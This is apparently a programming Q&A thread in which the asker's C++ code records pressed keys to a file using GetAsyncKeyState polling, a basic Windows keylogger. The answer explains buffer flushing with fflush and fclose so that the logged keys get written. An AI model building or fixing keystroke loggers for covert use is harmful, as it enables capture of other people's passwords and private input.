fprintf wont work with switch/case statement in C++ - c++

Question

I have a simple C++ program to store pressed keys in file.
What works is prinf to show it in console but fprintf to save it in file won't work.
Even fprintf(logx, "TEST"); works only when i delete while cycle.
My code:
int main(){
char c;
FILE *logx;
logx = fopen("mylog2.txt", "w");
fprintf(logx, "TEST");
while (true)
{
Sleep(10);
for (int i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
switch(i) {
case 96:
fprintf(logx, "%d", 0);
break;
case 97:
fprintf(logx, "%d", 1);
break;
case 98:
fprintf(logx, "%d", 2);
break;
case 99:
fprintf(logx, "%d", 3);
break;
case 100:
fprintf(logx, "%d", 4);
break;
case 101:
printf("%d", 5);
break;
case 102:
printf("%d", 6);
break;
case 103:
printf("%d", 7);
break;
case 104:
printf("%d", 8);
break;
case 105:
printf("%d", 9);
break;
default:
c = char(i);
printf("%c", c);
break;
}
}
}
}
return 0;
}
File is empty after pressing all possible numbers. Not even TEST is written in file (when while cycle is deleted "TEST" is printed).
Thanks for any help or hint.

Answer 1

You must terminate the loop somehow. If you terminate your program with Ctrl-C the FILE I/O buffers will not be flushed and your file will be empty.
Alternatively you can put an fflush(logx); behind every individual fprintf() statement to force the data out to the file. But this is only a last resort as it makes file I/O very slow.
You should also close the file after the loop:
fclose(logx);